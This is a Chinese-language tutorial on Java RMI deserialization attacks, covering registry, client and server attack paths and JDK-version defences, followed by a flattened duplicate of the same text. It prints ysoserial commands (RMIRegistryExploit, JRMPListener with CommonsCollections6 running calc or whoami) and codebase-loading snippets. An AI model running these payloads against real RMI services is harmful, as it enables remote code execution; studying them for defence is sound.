JAVA安全之RMI命令执行深度刨析
字数 2081 2025-08-22 12:23:06

Java RMI 命令执行深度剖析

1. Java RMI 基本介绍

Java RMI (Java Remote Method Invocation) 是 Java 编程语言中用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象,实现了在网络环境中分布操作的能力。

1.1 核心组成

Java RMI 由以下三个核心部分组成:

  1. RMI Client:发起远程方法调用的程序

    • 通过 Naming.lookup() 方法使用字符串形式的对象名从 RMI Registry 获取远程对象的 Stub
    • 获得 Stub 后可以像调用本地对象一样调用远程对象的方法
  2. RMI Server:提供远程服务的程序

    • 包含实际的远程对象实现
    • 启动时需要创建远程对象实例并使用 Naming.rebind() 方法将其与指定名称绑定到 RMI Registry
    • 接收客户端请求并执行相应操作后返回结果
  3. RMI Registry:运行在服务器上的名称服务

    • 管理远程对象的注册和查找
    • 通常在独立进程中运行(默认端口 1099)
    • 服务器启动时会注册其提供的远程对象

2. RMI 通信交互

2.1 交互流程

RMI 框架采用代理来负责客户与远程对象之间通过 Socket 进行通信的细节:

  1. Stub (存根):位于客户端的代理
  2. Skeleton (骨架):位于服务器端的代理类

2.2 通信过程

  1. Server 端监听一个随机端口
  2. Client 端通过 Stub 连接到 Server 端监听的通信端口并提交参数
  3. 远程 Server 端执行方法并返回结果给 Stub
  4. Stub 返回执行结果给 Client 端

2.3 序列化要求

远程方法调用涉及参数传递和执行结果返回,这些需要被传输的对象必须实现 java.io.Serializable 接口,且客户端的 serialVersionUID 字段要与服务器端保持一致。

3. JRMP 协议

3.1 基本介绍

JRMP (Java Remote Method Protocol) 是 Java 远程方法调用的专用协议,运行在 RMI 之下、TCP/IP 之上。JRMP 协议规定了在使用 RMI 时传输的数据如果包含 Java 原生序列化数据,在接收时都会进行反序列化,这可能导致反序列化漏洞。

3.2 实现方式

JRMP 接口的两种常见实现方式:

  1. JRMP 协议 - RMI 专用的 Java 远程消息交换协议
  2. IIOP 协议 - 基于 CORBA 实现的对象请求代理协议

4. RMI 攻击面分析

4.1 攻击注册中心

可利用方法

  1. bind 方法

    • 功能:将远程对象与给定名称绑定
    • 漏洞点:会对传递的通信数据流进行反序列化
    • 攻击示例:
      Registry registry = LocateRegistry.getRegistry("localhost", 1099);
      registry.bind("malicious", maliciousObject);
      
  2. rebind 方法

    • 功能:重新绑定远程对象与给定名称
    • 漏洞点:同样存在反序列化操作
    • 攻击示例:
      Registry registry = LocateRegistry.getRegistry("localhost", 1099);
      registry.rebind("malicious", maliciousObject);
      
  3. lookup/unbind 方法

    • 只能传递字符串对象,无法直接传递恶意对象

攻击演示

使用 ysoserial 攻击注册中心:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections6 calc

4.2 注册中心攻击客户端

利用条件

  1. 控制客户端连接恶意服务端
  2. 目标客户端允许远程加载类
  3. JDK 6u45、7u21、8u121 以下版本

攻击原理

客户端通过 lookup 向注册表查询后,注册中心返回的 Stub 对象会被反序列化。

攻击演示

  1. 启动恶意注册中心:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe
  1. 诱导客户端连接:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections6 whoami

4.3 服务端攻击客户端

攻击方式

  1. 服务端返回 Object 对象

    • 当方法返回对象时,客户端会进行反序列化
    • 攻击方式与注册中心攻击客户端类似
  2. 使用 codebase 动态加载

    • 服务端在本地找不到类时返回 codebase 让客户端远程加载
    • 需要满足:
      • 客户端允许远程加载类
      • JDK 6u45、7u21、8u121 以下版本

动态加载示例

服务端代码片段(设置 codebase):

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

4.4 客户端攻击服务端

利用条件

  1. RMI 服务端允许远程加载类
  2. JDK 6u45、7u21、8u121 以下版本

攻击方式

  1. 通过 JRMP 协议发送恶意序列化包

    • 服务端处理 JRMP 消息时会反序列化
    • 客户端无需接受返回,更安全
  2. 指定 codebase 方式

    • 客户端设置 codebase
    • 服务端从客户端指定位置加载类

攻击示例

恶意客户端代码:

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Services services = (Services)registry.lookup("Services");
services.sendMessage(maliciousObject);

5. 防御措施

  1. 升级 JDK 版本

    • JDK 6u45、7u21、8u121 及以上版本默认禁用自动加载远程类
  2. 配置安全策略

    • 设置 java.rmi.server.useCodebaseOnly=true
    • 配置合理的 java.security.policy
  3. 输入验证

    • 对 RMI 通信中的对象进行严格验证
  4. 网络隔离

    • 限制 RMI 服务的网络访问

6. 总结

Java RMI 的安全问题主要源于:

  1. 默认使用 Java 原生序列化机制
  2. 动态类加载功能
  3. 早期版本安全配置宽松

攻击者可以利用这些特性通过多种途径实现远程代码执行,防御关键在于严格限制反序列化和类加载行为,并及时升级 JDK 版本。

Java RMI 命令执行深度剖析 1. Java RMI 基本介绍 Java RMI (Java Remote Method Invocation) 是 Java 编程语言中用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象,实现了在网络环境中分布操作的能力。 1.1 核心组成 Java RMI 由以下三个核心部分组成: RMI Client :发起远程方法调用的程序 通过 Naming.lookup() 方法使用字符串形式的对象名从 RMI Registry 获取远程对象的 Stub 获得 Stub 后可以像调用本地对象一样调用远程对象的方法 RMI Server :提供远程服务的程序 包含实际的远程对象实现 启动时需要创建远程对象实例并使用 Naming.rebind() 方法将其与指定名称绑定到 RMI Registry 接收客户端请求并执行相应操作后返回结果 RMI Registry :运行在服务器上的名称服务 管理远程对象的注册和查找 通常在独立进程中运行(默认端口 1099) 服务器启动时会注册其提供的远程对象 2. RMI 通信交互 2.1 交互流程 RMI 框架采用代理来负责客户与远程对象之间通过 Socket 进行通信的细节: Stub (存根) :位于客户端的代理 Skeleton (骨架) :位于服务器端的代理类 2.2 通信过程 Server 端监听一个随机端口 Client 端通过 Stub 连接到 Server 端监听的通信端口并提交参数 远程 Server 端执行方法并返回结果给 Stub Stub 返回执行结果给 Client 端 2.3 序列化要求 远程方法调用涉及参数传递和执行结果返回,这些需要被传输的对象必须实现 java.io.Serializable 接口,且客户端的 serialVersionUID 字段要与服务器端保持一致。 3. JRMP 协议 3.1 基本介绍 JRMP (Java Remote Method Protocol) 是 Java 远程方法调用的专用协议,运行在 RMI 之下、TCP/IP 之上。JRMP 协议规定了在使用 RMI 时传输的数据如果包含 Java 原生序列化数据,在接收时都会进行反序列化,这可能导致反序列化漏洞。 3.2 实现方式 JRMP 接口的两种常见实现方式: JRMP 协议 - RMI 专用的 Java 远程消息交换协议 IIOP 协议 - 基于 CORBA 实现的对象请求代理协议 4. RMI 攻击面分析 4.1 攻击注册中心 可利用方法 bind 方法 功能:将远程对象与给定名称绑定 漏洞点:会对传递的通信数据流进行反序列化 攻击示例: rebind 方法 功能:重新绑定远程对象与给定名称 漏洞点:同样存在反序列化操作 攻击示例: lookup/unbind 方法 只能传递字符串对象,无法直接传递恶意对象 攻击演示 使用 ysoserial 攻击注册中心: 4.2 注册中心攻击客户端 利用条件 控制客户端连接恶意服务端 目标客户端允许远程加载类 JDK 6u45、7u21、8u121 以下版本 攻击原理 客户端通过 lookup 向注册表查询后,注册中心返回的 Stub 对象会被反序列化。 攻击演示 启动恶意注册中心: 诱导客户端连接: 4.3 服务端攻击客户端 攻击方式 服务端返回 Object 对象 当方法返回对象时,客户端会进行反序列化 攻击方式与注册中心攻击客户端类似 使用 codebase 动态加载 服务端在本地找不到类时返回 codebase 让客户端远程加载 需要满足: 客户端允许远程加载类 JDK 6u45、7u21、8u121 以下版本 动态加载示例 服务端代码片段(设置 codebase): 4.4 客户端攻击服务端 利用条件 RMI 服务端允许远程加载类 JDK 6u45、7u21、8u121 以下版本 攻击方式 通过 JRMP 协议发送恶意序列化包 服务端处理 JRMP 消息时会反序列化 客户端无需接受返回,更安全 指定 codebase 方式 客户端设置 codebase 服务端从客户端指定位置加载类 攻击示例 恶意客户端代码: 5. 防御措施 升级 JDK 版本 JDK 6u45、7u21、8u121 及以上版本默认禁用自动加载远程类 配置安全策略 设置 java.rmi.server.useCodebaseOnly=true 配置合理的 java.security.policy 输入验证 对 RMI 通信中的对象进行严格验证 网络隔离 限制 RMI 服务的网络访问 6. 总结 Java RMI 的安全问题主要源于: 默认使用 Java 原生序列化机制 动态类加载功能 早期版本安全配置宽松 攻击者可以利用这些特性通过多种途径实现远程代码执行,防御关键在于严格限制反序列化和类加载行为,并及时升级 JDK 版本。